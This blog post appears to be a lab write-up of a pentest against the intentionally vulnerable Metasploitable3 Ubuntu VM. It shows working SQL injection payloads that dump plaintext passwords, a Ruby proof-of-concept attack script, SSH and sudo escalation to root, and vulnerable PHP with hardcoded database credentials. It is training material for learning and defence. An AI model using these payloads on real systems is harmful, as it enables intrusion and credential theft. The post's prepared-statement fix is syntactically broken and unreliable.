This post is part of a series on the Ubuntu Linux version of Metasploitable3. The following posts are part of the series:

My previous two posts covered Building Metasploitable3 and then Customizing Metasploitable3 where I specified the steps required to build and customize the Metasploitable3 Ubuntu Linux version. In this post, we wrap up this series of posts by performing a pentest, or security audit, on the default Metasploitable3 Ubuntu Linux system.

Basic Configuration: Target System

The default Metasploitable3 Ubuntu Linux version was used as the target. The default ubuntu_14.04.json Packer template was used to build the virtual machine, and no modifications to the default configuration was made. The virtual machine was hosted in VMWare Workstation. The network configuration was set to Host-Only and the IP address was set to: 192.168.19.20.

Basic Configuration: Attack System

Kali Linux version 2018.2 was used as the attack system. The virtual machine used was downloaded from Offensive Security. The only modifications to the system was that an update was performed. Again, the network configuration was set to Host-Only and the IP address was set to: 192.168.19.10.

Overview of Flags

According to the flags.rb Chef recipe in the metasploitable cookbook, there are a total of 10 flags in the default metasploitable3 Ubuntu Linux version. They are listed below for reference:

  • 10 of Clubs (no difficulty specified)
  • 7 of Diamonds (no difficulty specified)
  • 10 of Spades (easy)
  • 8 of Clubs (easy)
  • 3 of Hearts (easy)
  • 9 of Diamonds (easy)
  • 5 of Diamonds (hard)
  • 2 of Spades (hard)
  • 8 of Hearts (hard)
  • Joker red (hard)

The difficulty rating is gained from the flags recipe used when building the virtual machine. The listing is only for reference, and finding the flags is not the goal of this post. However, leave a comment if you are interested, and I could investigate this in the future.

Initial Assessment

As usual, starting with a port scan seems like a logical first step. The results of a basic service scan are displayed below:

root@kali:~# nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml 192.168.19.20
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-04 17:50 EDT
Nmap scan report for 192.168.19.20
Host is up (0.00032s latency).
Not shown: 65525 filtered ports
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open   irc         UnrealIRCd
8181/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 00:0C:29:00:43:58 (VMware)
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.18 seconds

The port scan revealed a number of open ports running interesting services. Maybe I have been doing too much web application security, but port 80 and 8181 peaked my interest. Same with port 6697, running UnrealIRCd - which I remember exploiting on Metasploitable2. Ports 21 and 22 were also of interest.

Port 80: Payroll Web Application

Checking out port 80 using Firefox in Kali Linux revealed directory listing containing a number of entries. The entries are displayed in the figure below:

Directory listing of Apache on port 80

The first item of interest was payroll_app.php. This file loaded a Payroll Login system. The nmap output had identified a MySQL server running on Metasploitable3. Instantly, an SQL injection attack came to mind. So I started with the classic ' OR 1=1#.

Payroll web application running on Apache on port 80

After entering the SQL injection attack in the User input box, I hit OK. Seems like no password was required to be entered. The SQL injection revealed a total of 15 users in the Payroll App. It seems like the is some terrible handling of user input that constructs the SQL statements. String concatenation no doubt! The output of the SQL injection attack is displayed below:

Payroll web application users

Instantly it is obvious that the web application requires four properties must be returned: Username, First Name, Last Name and Salary. This information is based on the fact that the webpage displays a table that has these four columns. We already know that there is a database on the server, nmap reported that MySQL was running on the default port 3306. Next step: determine the MySQL version that installed. The next step was to execute the following SQL injection attack:

' UNION SELECT null,null,null,@@version#

This revealed that the following MySQL version was running: 5.5.60-0ubuntu0.14.04.1. Just as a quick summary, the above SQL injection uses the UNION statement, which simply provides the ability to execute two SQL statements. The two at symbols (@@) refer to a global variable available in SQL, and the version command will dump the SQL database version for us. The three null entries are because the web application wants to print four columns in a table. Using null means the web application should print an empty entry in the first three columns.

From here it is only too easy. One can guess that each of the users in the database must have a password. We already know the username, as that information was gathered in the first SQL injection attack. Furthermore, it can be assumed that we are querying a table of user information, most likely called users. This table will most likely have passwords in it too - this is how a user will be able to login to the Payroll App. Putting all this information together, we can attempt to dump the password information using the following SQL injection attack:

' OR 1=1 UNION SELECT null,null,username,password FROM users#

Again, we can utilize null to print nothing in the first two columns. Without this addition the web application will fail to load correctly. Looks like we got lucky:

Payroll web application user passwords

In the above figure, we can see the bottom of the first SQL query results. This is the same as the first SQL injection attack (' OR 1=1#). Following that, the last two columns display the username and password, in plaintext, for each of the 15 users.

I was hoping that the user credentials dumped from the MySQL database were not the same credentials used for system authentication… turns out they are! A quick SSH test to Metasploitable3 gained access as the user: leia_organa using the password: help_me_obiwan.

root@kali:~# ssh leia_organa@192.168.19.20 
The authenticity of host '192.168.19.20 (192.168.19.20)' can't be established.
ECDSA key fingerprint is SHA256:qvGI7uYbIIalZ0vugejoVujPrAEtQ3d8nvs2K+DMLBc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.19.20' (ECDSA) to the list of known hosts.
leia_organa@192.168.19.20's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

leia_organa@metasploitable3-ub1404:~$ 

A quick check of the available groups indicated that sudo access was achieved.

leia_organa@metasploitable3-ub1404:~$ groups
users sudo

A simple check to gain root access:

leia_organa@metasploitable3-ub1404:~$ sudo -s
[sudo] password for leia_organa: 
root@metasploitable3-ub1404:~# 

Game over. I hadn’t even opened Metasploit Framework yet and had full root access to the system! This really shows the power of SQL injection attacks against a poorly coded web application. It makes a great learning exercise, especially for those new to web application security and pentesting. I would like to think that such blatant security issues do not still exist in the wild… however, the OWASP Top 10-2017 still list injection vulnerabilities as the number 1 security issue in web applications.

Reviewing the Payroll App Source Code

Breaking the Payroll App was fun! However, it is prudent that we review the source code that lead to this. Instead of looking at the source from the build process, we shall investigate the source code from the running system. Firstly, the following command attempts to find any occurrences of the word payroll on the system:

leia_organa@metasploitable3-ub1404:~$ sudo find / -iname "*payroll*" 2> /dev/null
/var/lib/mysql-default/payroll
/var/www/html/payroll_app.php
/home/kylo_ren/poc/payroll_app

A total of three search hits. Even from the naming and location we can gather a lot of information about these:

  1. /var/lib/mysql-default/payroll: A folder in for MySQL, most likely contains the database named payroll, with one or more tables.
  2. /var/www/html/payroll_app.php: The website we performed the SQL Injection attack against. Will contain the source code, written in PHP, that powers the Payroll App.
  3. /home/kylo_ren/poc/payroll_app: This one is a little strange. It is a directory in the home folder of the kylo_ren user. If the Star Wars movies are anything to go by, this is probably something malicious!

Kylo Ren’s Ruby Exploit

It would make most logical sense to start with the PHP source code for the website… However, I am fascinated by what is in kylo_rens home folder. A quick listing of the folder revealed one file called: poc.rb, that had the following contents:

require 'net/http'

url  = "http://127.0.0.1/payroll_app.php"
uri  = URI(url)
user = 'luke_skywalker'
injection = "password'; select password from users where username='' OR ''='"

puts "Making POST request to #{uri} with the following parameters:"
puts "'user' = #{user}"
puts "'password' = #{injection}"
res = Net::HTTP.post_form(uri, 'user' => user, 'password' => injection, 's' => 'OK')

puts "Response body is #{res.body}"
puts "Done"

Considering that Kylo is neck-deep in the dark side, it comes as no surprise he has a malicious Ruby script that attacks the Payroll App website. The script automates a similar attack to what we performed earlier. Kylo uses the username luke_skywalker and a password that is a SQL injection attack. The actual SQL Injection entered is:

password'; select password from users where username='' OR ''='

Comparing this to the initial attack we performed early is interesting. It also revealed some more useful information about the SQL Injection vulnerability. Turns out, an attacker can enter any username and password combination on the page and review results. I initially thought that a user would have to authenticate (with username and password) before any information was displayed. Turns out that the web application returns an empty table when the incorrect username and password are entered. Interesting.

Anyway, the resultant output of the attack lists all the passwords for the users in the database. However, it does not list the username next to the password, so some guessing and/or correlation needs to be performed. To run the script, use the following command:

leia_organa@metasploitable3-ub1404:/home/kylo_ren/poc/payroll_app$ ruby poc.rb 

The output of the script is listed below, with some formatting applied to the HTML portion to enhance readability:

Making POST request to http://127.0.0.1/payroll_app.php with the following parameters:
'user' = luke_skywalker
'password' = password'; select password from users where username='' OR ''='
Response body is 

<center>
<h2>Welcome, luke_skywalker</h2>
<br>
<table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>
<tr>
   <th>Username</th>
   <th>First Name</th>
   <th>Last Name</th>
   <th>Salary</th>
</tr>
<center>
   <h2>Welcome, luke_skywalker</h2>
   <br>
   <table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>
      <tr>
         <th>Username</th>
         <th>First Name</th>
         <th>Last Name</th>
         <th>Salary</th>
      </tr>
      <tr><td>help_me_obiwan</td></tr>
      <tr><td>like_my_father_beforeme</td></tr>
      <tr><td>nerf_herder</td></tr>
      <tr><td>b00p_b33p</td></tr>
      <tr><td>Pr0t0c07</td></tr>
      <tr><td>thats_no_m00n</td></tr>
      <tr><td>Dark_syD3</td></tr>
      <tr><td>but_master:(</td></tr>
      <tr><td>mesah_p@ssw0rd</td></tr>
      <tr><td>@dm1n1str8r</td></tr>
      <tr><td>mandalorian1</td></tr>
      <tr><td>my_kinda_skum</td></tr>
      <tr><td>hanSh0tF1rst</td></tr>
      <tr><td>rwaaaaawr8</td></tr>
      <tr><td>Daddy_Issues2</td></tr>
   </table>
</center>
Done

Vulnerabilities in the payroll_app.php Source Code

OK, that was interesting, but back to business. We are going to analyse the actual web application code that is causing the SQL Injection vulnerability. The previous results from the find command indicated that the web application was stored in the default location of /var/www/html. The file can easily be viewed using: cat /var/www/html/payroll_app.php. After having a quick browse over the code, there are three main blocks:

  1. PHP code to connect to the database
  2. HTML code to produce the form on the Payroll App page
  3. PHP code to post the contents of the form

The first part of the payroll_app.php code connects to the local MySQL database. The code is listed below for reference.

<?php

$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>

Unfortunately, the username and password (and database name) is documented in clear text. The user account is root, the password is sploitme and the database name is payroll. This information had not yet been found, and allows connection to the MySQL database. For example, you could use the command: mysql -uroot -psploitme to connect to the MySQL database and execute commands (e.g., replace users, change passwords, remove or add tables etc.).

The next chunk of the payroll_app.php is boring. It is a simple form to let users login. It is displayed below for thoroughness.

<?php
if (!isset($_POST['s'])) {
?>

<center>
<form action="" method="post">
<h2>Payroll Login</h2>
<table style="border-radius: 25px; border: 2px solid black; padding: 20px;">
    <tr>
        <td>User</td>
        <td><input type="text" name="user"></td>
    </tr>
    <tr>
        <td>Password</td>
        <td><input type="password" name="password"></td>
    </tr>
    <tr>
       <td><input type="submit" value="OK" name="s">
    </tr>
</table>
</form>
</center>

<?php
}
?>

The final portion of the payroll_app.php is where the action happens. If a form post is submitted, the following code is executed. Basically, when the form is submitted it executes a query against the database and displays the results of the SQL query in a table. The posted values are, of course, the username and password values from the HTML login form. The entire block of code is displayed below:

<?php
if($_POST['s']){
    $user = $_POST['user'];
    $pass = $_POST['password'];
    $sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

    if ($conn->multi_query($sql)) {
        do {
            /* store first result set */
            echo "<center>";
            echo "<h2>Welcome, " . $user . "</h2><br>";
            echo "<table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>";
            echo "<tr><th>Username</th><th>First Name</th><th>Last Name</th><th>Salary</th></tr>";
            if ($result = $conn->store_result()) {
                while ($row = $result->fetch_assoc()) {
                    $keys = array_keys($row);
                    echo "<tr>";
                    foreach ($keys as $key) {
                        echo "<td>" . $row[$key] . "</td>";
                    }
                    echo "</tr>\n";
                }
                $result->free();
            }
            if (!$conn->more_results()) {
                echo "</table></center>";
            }
        } while ($conn->next_result());
    }
}
?>

Our worst fears have come to light! Yes, the web application is leveraging string concatenation to build an SQL query. Gah! For those new the SQL Injection, forming SQL statements using string concatenation is really bad practice! It basically allows an attacker to craft their own SQL statement. If you are interested in more information about this topic, leave a comment and I can write a thorough post about it in the future.

The summary of the problem is this line:

$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

To save you scrolling up, our SQL Injection that dumped the user passwords was:

' OR 1=1 UNION SELECT null,null,username,password FROM users#

If we combine the two, our resultant SQL Injection attack is:

$sql = "select username, first_name, last_name, salary from users where username = '' OR 1=1 UNION SELECT null,null,username,password FROM users#' and password = ''";

This SQL Injection attack successfully leverages the weakness in string concatenation by altering the logic in the SQL query. As a quick summary:

  • All users are displayed including the username, first name, last name and salary
  • This is because the first SQL query is always true:
    • username = "" is always false
    • 1=1 is always true
    • username = "" OR 1=1 is therefore, always true
  • The UNION statement allows execution of an additional SQL statement where we leverage it to dump the username and password for each user

OK, that is interesting… but how can we fix this specific problem?

Mitigating SQL Injection Attacks Against payroll_app.php

This is the final topic we want to investigate in this post. Determining how we can fix the SQL Injection vulnerability. For web application security, the go-to resource is the Open Web Application Security Project, or OWASP. They provide recommendations on how to correctly secure web applications. OWASP outline an SQL Injection Prevention Cheat Sheet which outlines good practice to mitigate SQL Injection vulnerabilities.

We will not cover every aspect of mitigation, but will briefly discuss Defense Option 1: Prepared Statements (with Parameterized Queries). OWASP recommend to use prepared statements to mitigate SQL Injection vulnerabilities. The specific recommendation for PHP is:

  • Use PDO with strongly typed parameterized queries (using bindParam())

PHP Data Objects, or PDO, is the solution. Unfortunately, it is not a quick solution; for example, changing just the sql construction method. The bulk of the code to query the database and print the HTML table would require a re-write. Instead of a complete answer, a small comparison of the original SQL string and a PDO construct is sufficient.

The code below is the original method used to create the SQL statement using the user input:

$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

The code below is a quick summary of what it should be, using PDO.

$sql = $conn->prepare("SELECT FROM users (username, first_name, last_name, salary) WHERE username = :user AND password = :pass)";

Like I briefly mentioned, making the change above would require additional modification of the source code, including the method used to connect to the MySQL database too. If you are interested in this, please leave a comment below, it might be a good topic for another blog post. A very good tutorial on PDO is the (The only proper) PDO tutorial, it is definitely worth a read.

Conclusion

This tutorial was the first in a series about pentesting the Metasploitable3 Ubuntu Linux version. Hopefully this tutorial gave you some ideas and knowledge about the SQL injection vulnerabilities in the Payroll App that is running on the Metasploitable3 server. However, the most important part of this post is the review of source code of the Payroll App and understanding why SQL Injection vulnerabilities are present and how and why SQL injection attacks occur.

In the next post, we will look at other open ports on Metasploitable3, the services that are running, and use the Metasploit Framework to exploit some vulnerabilities. Hope you enjoyed the post, and please leave a comment if you have any questions or information to share!